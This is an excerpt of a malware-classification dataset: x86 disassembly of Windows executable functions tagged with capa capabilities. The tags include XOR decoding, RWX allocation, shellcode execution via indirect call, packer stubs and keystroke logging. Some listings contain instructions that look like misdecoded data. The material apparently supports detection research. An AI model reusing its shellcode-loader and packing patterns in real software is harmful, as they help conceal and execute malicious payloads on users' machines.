joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401318
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push edi
push esi
push ebx
push ecx
mov eax, 0xa1f8
call fcn.00401a0c
call fcn.00401800
lea edi, [ebp - 0xa1e8]
mov esi, 0x403040
mov ecx, 0x2874
rep movsd dword es:[edi], dword [esi]
call sub.KERNEL32.dll_FreeConsole
lea esi, [ebp - 0xa1e8]
mov ebx, dword [ebp - 0x418]
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x52e8
mov dword [esp], 0
call sub.KERNEL32.dll_VirtualAlloc
sub esp, 0x10
mov dword [ebp - 0xa1ec], eax
lea edi, [ebp - 0x418]
mov edx, eax
mov cl, byte [esi]
mov byte [edx], cl
inc edx
add esi, 2
cmp esi, edi
jne 0x401390
mov edx, dword [ebp - 0xa1ec]
add edx, 0x4ee8
mov ecx, 0x100
mov edi, edx
rep movsd dword es:[edi], dword [esi]
lea esi, [esi]
xor dword [eax], ebx
add ebx, 0x499602d2
add eax, 4
cmp eax, edx
jne 0x4013b4
call dword [ebp - 0xa1ec]
xor eax, eax
lea esp, [ebp - 0x10]
pop ecx
pop ebx
pop esi
pop edi
leave
lea esp, [ecx - 4]
ret

Function at 0x4014f0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], esi
mov esi, edx
mov dword [ebp - 4], edi
mov ebx, eax
test ecx, ecx
mov edi, ecx
jne 0x401516
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
mov ebx, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
mov dword [esp + 8], 0x1c
lea eax, [ebp - 0x38]
mov dword [esp + 4], eax
mov dword [esp], ebx
call sub.KERNEL32.dll_VirtualQuery
sub esp, 0xc
test eax, eax
je 0x4015aa
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401565
cmp eax, 0x40
je 0x401565
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sub.msvcrt.dll_memcpy
mov eax, dword [ebp - 0x24]
cmp eax, 4
je 0x401509
cmp eax, 0x40
je 0x401509
lea eax, [ebp - 0x1c]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x2c]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0x38]
mov dword [esp], eax
call sub.KERNEL32.dll_VirtualProtect
sub esp, 0x10
jmp 0x401509
mov dword [esp + 8], 0x34
mov dword [esp + 4], str..._.._runtime_pseudo_reloc.c
mov dword [esp], str.VirtualQuery__addr__b__sizeof_b__
call sub.msvcrt.dll__assert
lea esi, [esi]
lea edi, [edi]
Function at 0x433004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
mov ecx, ebx
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x2c654d27
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
loop 0x433060
nop
nop
nop
nop
mov eax, section..text_1
nop
nop
nop
nop
cmp eax, 0
nop
je 0x4330d2
nop
nop
nop
nop
mov ebx, 0x4304d8
nop
nop
nop
nop
mov ecx, ebx
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0xfc12414
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
loop 0x4330c0
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x431219
Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret

Function at 0x403424
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffc0
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call sub.rtl190.bpl__System__UStrAddRef_qqrpv
xor eax, eax
push ebp
push 0x4034a2
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x40]
xor ecx, ecx
mov edx, 0x3c
call sub.rtl190.bpl__System__FillChar_qqrpvic
mov dword [ebp - 0x40], 0x3c
mov eax, 0x4034b0
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 4]
call sub.rtl190.bpl__System__UStrToPWChar_qqrx20System_UnicodeString
mov dword [ebp - 0x30], eax
xor eax, eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x3c], 0x40
lea eax, [ebp - 0x40]
push eax
call sub.shell32.dll_ShellExecuteExW
push 0xffffffffffffffff
mov eax, dword [ebp - 8]
push eax
call sub.kernel32.dll_WaitForSingleObject
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4034a9
lea eax, [ebp - 4]
jmp loc.00410000
Function at 0x4659a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x457015
lea edi, [esi - 0x56015]
push edi
or ebp, 0xffffffff
jmp 0x4659c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4659c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4659b8
mov eax, 1
add ebx, ebx
jne 0x4659db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4659d0
jne 0x4659ec
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4659d0
xor ecx, ecx
sub eax, 3
jb 0x465a00
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x465a72
mov ebp, eax
add ebx, ebx
jne 0x465a0b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x465a18
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x465a3c
inc ecx
add ebx, ebx
jne 0x465a28
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x465a1d
jne 0x465a39
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x465a1d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x465a5c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x465a4d
jmp 0x4659be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x465a5c
add edi, ecx
jmp 0x4659be
pop esi
mov edi, esi
mov ecx, 0x33e
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x465a7a
cmp byte [edi], 0
jne 0x465a7a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x465a7f
lea edi, [esi + 0x63000]
mov eax, dword [edi]
or eax, eax
je 0x465aee
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x651f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x65254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x465aac
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x65258]
or eax, eax
je 0x465ae8
mov dword [ebx], eax
add ebx, 4
jmp 0x465ac9
call dword [esi + 0x6525c]
popal
jmp 0x40da18

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
mov ebx, 0x40de38
nop
mov ecx, 0x70013af3
nop
test eax, eax
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
mov eax, section..data
mov ebx, 0x4304d8
nop
mov ecx, 0x476317ea
nop
test eax, eax
nop
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x418286
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
push ebx
push esi
push edi
mov edi, dword [ebp + 0x14]
mov eax, 0xff
mov dword [ebp - 0x10], edx
mov dword [ebp - 8], ecx
cmp edi, eax
ja 0x418320
mov ecx, edi
mov dword [ebp - 4], ecx
mov eax, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0x10]
mov dword [ebp - 0xc], esi
test al, 1
jne 0x454552
and eax, 0x800
mov dword [ebp + 8], eax
je 0x454635
mov ecx, dword [ebp - 4]
mov dword [ebp + 0x10], esi
cmp esi, ecx
ja 0x418302
mov eax, ecx
inc ebx
sub eax, esi
mov edi, ecx
add ebx, eax
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 8]
mov edx, esi
mov ecx, esi
shr edx, 3
and ecx, 7
mov al, 1
shl al, cl
or byte [edx + ebx], al
inc esi
cmp esi, edi
jbe 0x4182e0
mov esi, dword [ebp - 0xc]
mov edi, dword [ebp + 0x14]
mov ebx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
cmp esi, 0xff
ja 0x41830f
mov esi, 0x100
cmp edi, esi
jae 0x45464c
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov ecx, eax
mov dword [ebp - 4], eax
jmp 0x4182a6
push esi
push edi
xor edi, edi
movzx eax, word [ecx + 0x14]
movzx esi, word [ecx + 6]
test esi, esi
lea eax, [eax + ecx + 0x18]
jbe 0x454589
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x454570
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp dword [esp + 0xc], edx
jb 0x454581
add edx, ecx
cmp dword [esp + 0xc], edx
jb 0x45458b
inc edi
add eax, 0x28
cmp edi, esi
jb 0x454566
xor eax, eax
pop edi
pop esi
ret
test ax, ax
je 0x4546b0
and dword [ebp - 4], 0
mov eax, dword [edi]
pop es
mov dword [ebp - 0x10], eax
call fcn.0045450e
call 0x83db1258
jge 0x45463f
cmp dword [ebp - 0x10], 0
je 0x454695
add byte [ebx + eax*2 - 0x75], dh
inc ebp
in al, dx
mov eax, dword [ebp - 0x14]
and dword [ebp - 0x10], 0
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], ebx
mov eax, dword [ebp - 8]
movzx eax, word [eax]
cmp eax, dword [ebp - 4]
jne 0x454681
mov eax, dword [ebp - 0xc]
push dword [ebp + 0xc]
mov eax, dword [eax]
add eax, dword [ebp + 8]
push eax
call fcn.004544a4
pop ecx
test eax, eax
pop ecx
je 0x4546a8
mov eax, dword [esi + 0x18]
inc dword [ebp - 0x10]
add dword [ebp - 8], 2
add dword [ebp - 0xc], 4
dec eax
cmp dword [ebp - 0x10], eax
jbe 0x45465f
mov eax, dword [esi + 0x14]
inc dword [ebp - 4]
dec eax
cmp dword [ebp - 4], eax
jbe 0x45463e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov eax, dword [ebp - 4]
mov eax, dword [edi + eax*4]
jmp 0x4546e5
xor ebx, ebx
mov dword [ebp - 0x10], edi
mov eax, dword [esi + 0x10]
add eax, ebx
cmp dword [ebp + 0xc], eax
jne 0x4546d0
call fcn.0045450e
iretd
mov eax, dword [esi + 0x14]
add dword [ebp - 0x10], 4
inc ebx
dec eax
cmp ebx, eax
jbe 0x4546b5
jmp 0x4546a1
add eax, dword [ebp + 8]
jmp 0x4546a3
Function at 0x41865e
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, word [ecx]
push ebx
push esi
push edi
mov edi, edx
test ax, ax
je 0x4186e6
push 0x10
pop esi
mov ebx, 0x95
mov dword [ebp - 8], esi
mov dword [ebp - 4], 0xf
cmp ax, 0x75
je 0x41871c
cmp ax, 0x70
je 0x41870a
movzx edx, ax
cmp edx, ebx
jg 0x45501f
je 0x418713
cmp edx, 0x55
jl 0x4186c8
cmp edx, 0x5a
jle 0x455004
cmp edx, 0x5d
jle 0x454fe9
cmp edx, 0x60
jle 0x455004
cmp edx, 0x61
je 0x454fe9
movzx eax, byte [edx + 0x4a5470]
lea ecx, [ecx + eax*2]
test edi, edi
je 0x4186de
lea eax, [edx - 0x1d]
cmp eax, 0x37
jbe 0x4186ef
movzx eax, word [ecx]
test ax, ax
jne 0x418682
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ax, word [ecx - 2]
mov edx, 0xfc00
and ax, dx
mov edx, 0xd800
cmp ax, dx
jne 0x4186de
add ecx, 2
jmp 0x4186de
movzx eax, word [ecx + 2]
lea ecx, [ecx + eax*2]
jmp 0x4186de
movzx eax, word [ecx + 2]
lea ecx, [ecx + eax*2]
jmp 0x4186c8
mov eax, ecx
jmp 0x4186e8
Function at 0x4202e2
Capabilities:
Log keystrokes

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_MapVirtualKeyW]
xor ebx, ebx
push edi
mov edi, ecx
push 5
pop eax
push ebx
mov dword [edi], eax
mov dword [edi + 4], eax
mov word [edi + 8], 1
mov dword [edi + 0x10], ebx
mov dword [edi + 0x14], ebx
mov dword [edi + 0x18], ebx
mov dword [edi + 0x1c], ebx
push 0x5b
mov dword [edi + 0xc], 4
call esi
push ebx
push 0x10
mov byte [edi + 0x29], al
call esi
push ebx
push 0xa0
mov byte [edi + 0x26], al
call esi
push ebx
push 0xa1
mov byte [edi + 0x27], al
call esi
push ebx
push 0x11
mov byte [edi + 0x28], al
call esi
push ebx
push 0x12
mov byte [edi + 0x24], al
call esi
mov byte [edi + 0x25], al
pop edi
pop esi
pop ebx
ret
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x457880]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push esi
lea eax, [ebp - 0x210]
push eax
push 0x20019
xor esi, esi
push esi
push str.SoftwareMicrosoftWindowsCurrentVersionUninstallNVIDIA_nView_Desktop_Manager
push 0x80000002
call ebx
test eax, eax
jne 0x4010c0
lea ecx, [ebp - 0x214]
push ecx
mov ecx, dword [ebp - 0x210]
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x218]
push eax
push esi
push str.InstallLocation
push ecx
mov dword [ebp - 0x214], 0x208
mov dword [ebp - 0x218], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x4010ab
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4508bc
lea edx, [ebp - 0x20c]
push edx
call esi
push edi
lea eax, [ebp - 0x20c]
push eax
call esi
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x401174
lea eax, [ebp - 0x210]
push eax
push 0x20019
push 0
push 0x4508c0
push 0x80000002
call ebx
test eax, eax
jne 0x40115d
lea ecx, [ebp - 0x218]
push ecx
mov ecx, dword [ebp - 0x210]
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x214]
push eax
push 0
push str.InstallLocation
push ecx
mov dword [ebp - 0x218], 0x208
mov dword [ebp - 0x214], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40114c
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4508bc
lea edx, [ebp - 0x20c]
push edx
call esi
push edi
lea eax, [ebp - 0x20c]
push eax
call esi
lea ecx, [ebp - 0x20c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
mov edx, dword [ebp - 0x210]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
jne 0x401174
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0044d16e
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.0044d16e
mov esp, ebp
pop ebp
ret

Function at 0x401220
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
fldz
push esi
xor esi, esi
fstp dword [0x483714]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.SoftwareNVIDIA_CorporationGlobal_nViewKeystone
mov dword [0x457da0], 0x450be4
mov dword [0x457d70], 0x457da0
mov dword [ebp - 4], esi
mov dword [0x48351c], esi
mov dword [0x483520], esi
mov dword [0x483524], esi
mov dword [0x4835bc], esi
mov dword [0x4835c0], esi
mov dword [0x4835b8], esi
mov dword [0x48352c], esi
mov dword [0x483530], esi
mov dword [0x48357c], 1
mov dword [0x4837e0], 0x1e
call fcn.00403110
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x4012e5
mov eax, dword [ebp - 4]
lea ecx, [ebp - 0xc]
push ecx
lea edx, [ebp - 8]
jmp loc.004c5aa0
mov dword [0x4837cc], esi
mov dword [0x4837d4], esi
mov dword [0x483534], esi
mov dword [0x4837d0], 0x10
mov eax, 0x457da0
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x401310
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
xor esi, esi
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 8]
push ecx
push esi
push 0xf003f
push esi
push esi
push esi
push str.SoftwareNVIDIA_CorporationGlobal_nViewKeystone
mov dword [ebp - 8], esi
mov dword [ebp - 0xc], esi
call fcn.00403110
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
jne 0x40139b
mov eax, dword [ebp - 8]
push 4
lea edx, [ebp - 4]
push edx
push 4
push esi
push str.KSLoadErrMsg
push eax
mov dword [ebp - 4], 1
mov dword [ebp - 0x10], 4
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov eax, dword [ebp - 8]
lea ecx, [ebp - 0x10]
push ecx
lea edx, [ebp - 4]
push edx
push esi
push esi
push str.KSLoadStyle
push eax
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp dword [ebp - 4], esi
je 0x401391
mov esi, 1
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4035a0
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x268
mov eax, dword [0x457880]
xor eax, esp
mov dword [esp + 0x264], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, dword [ebp + 0x10]
push str.nvkeystone.exe
push 1
push 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov dword [esp + 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x4036fd
call fcn.0040c920
mov eax, esi
mov dword [0x457d80], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403602
push 0x12c
lea ecx, [esp + 0x14]
push ecx
sub eax, edx
push eax
push esi
push 2
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x403626
sub eax, edx
xor edx, edx
push 0x457d80
mov word [esp + eax*2 + 0x14], dx
lea eax, [esp + 0x14]
push 0x450c30
push eax
call dword [sym.imp.MSVCR90.dll_swscanf_s]
mov eax, dword [0x457d80]
add esp, 0xc
cmp eax, 9
jne 0x403693
push ebx
mov ecx, 0x457da0
mov dword [0x4837e4], 1
call fcn.00401460
test eax, eax
jge 0x403689
xor eax, eax
pop esi
pop ebx
mov ecx, dword [esp + 0x264]
xor ecx, esp
call fcn.0044d16e
mov esp, ebp
pop ebp
ret 0x10
mov dword [esp + 8], 9
jmp 0x4036be
test eax, eax
je 0x4036be
push ebx
mov ecx, 0x457da0
call fcn.00401460
test eax, eax
jl 0x403671
call fcn.0040d450
mov ecx, 0x457da0
call fcn.00402670
mov dword [esp + 8], eax
call fcn.0040d620
mov eax, dword [0x457d74]
mov esi, dword [sym.imp.KERNEL32.dll_FreeLibrary]
test eax, eax
je 0x4036da
push eax
call esi
jmp 0x4c1130
mov eax, dword [0x457d78]
test eax, eax
je 0x4036f0
push eax
call esi
mov dword [0x457d78], 0
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
jmp 0x403705
mov dword [esp + 8], 0xffffffff
mov ecx, dword [esp + 0x26c]
mov eax, dword [esp + 8]
pop esi
pop ebx
xor ecx, esp
call fcn.0044d16e
mov esp, ebp
pop ebp
ret 0x10
Function at 0x4044a0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x457880]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
lea ecx, [ebp - 0x40]
push ecx
xor ebx, ebx
push 0x20019
push ebx
xor edi, edi
push str.SoftwareNVIDIA_CorporationGlobal_nViewKeystone
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x48], edi
call fcn.00403110
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x404659
push 0x31
lea edx, [ebp - 0x37]
push ebx
push edx
mov dword [ebp - 0x44], ebx
mov byte [ebp - 0x38], bl
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x38]
push ecx
lea edx, [ebp - 0x44]
push edx
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push str.KeystoneFallbackGamma
mov ebx, 0x32
push eax
mov dword [ebp - 0x3c], ebx
call edi
test eax, eax
je 0x40452e
fld1
fstp dword [esi + 0x2be4c]
jmp 0x404541
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.MSVCR90.dll_atof]
fstp dword [esi + 0x2be4c]
add esp, 4
lea edx, [ebp - 0x3c]
push edx
mov edx, dword [ebp - 0x40]
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x44]
push ecx
push 0
push str.KeystoneFallbackPower
push edx
mov dword [ebp - 0x3c], ebx
call edi
test eax, eax
je 0x40456b
fld1
fstp dword [esi + 0x2be50]
jmp 0x40457e
lea eax, [ebp - 0x38]
push eax
call dword [sym.imp.MSVCR90.dll_atof]
fstp dword [esi + 0x2be50]
add esp, 4
lea ecx, [ebp - 0x3c]
push ecx
mov ecx, dword [ebp - 0x40]
lea edx, [ebp - 0x38]
push edx
lea eax, [ebp - 0x44]
push eax
push 0
push str.KeystoneFallbackBlend
push ecx
mov dword [ebp - 0x3c], ebx
call edi
test eax, eax
je 0x4045ac
fld dword [0x4516e8]
fstp dword [esi + 0x2be54]
jmp 0x4045bf
lea edx, [ebp - 0x38]
push edx
call dword [sym.imp.MSVCR90.dll_atof]
fstp dword [esi + 0x2be54]
add esp, 4
mov ecx, dword [ebp - 0x4c]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
lea eax, [ebp - 0x3c]
push eax
mov eax, dword [ebp - 0x40]
push ecx
lea edx, [ebp - 0x44]
push edx
push 0
push str.KeystoneUserCurves
push eax
mov dword [ebp - 0x3c], 0x208
call ebx
test eax, eax
jne 0x4045f0
mov dword [ebp - 0x48], 1
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x3c]
push ecx
lea edi, [esi + 0x2be58]
push edi
lea edx, [ebp - 0x44]
push edx
push 0
push str.KeystoneForceBlendScheme
push eax
mov dword [ebp - 0x3c], 4
call ebx
test eax, eax
je 0x40461d
mov dword [edi], 0
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x3c]
push ecx
lea edi, [esi + 0x2be5c]
push edi
lea edx, [ebp - 0x44]
push edx
push 0
push str.KeystoneForceGammaScheme
push eax
mov dword [ebp - 0x3c], 4
call ebx
test eax, eax
je 0x40464a
mov dword [edi], 0
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [ebp - 0x48]
xor ebx, ebx
cmp dword [esi + 0x2be58], 2
mov eax, edi
jne 0x40466e
cmp edi, ebx
jne 0x40466e
mov dword [esi + 0x2be58], ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.0044d16e
mov esp, ebp
pop ebp
ret 4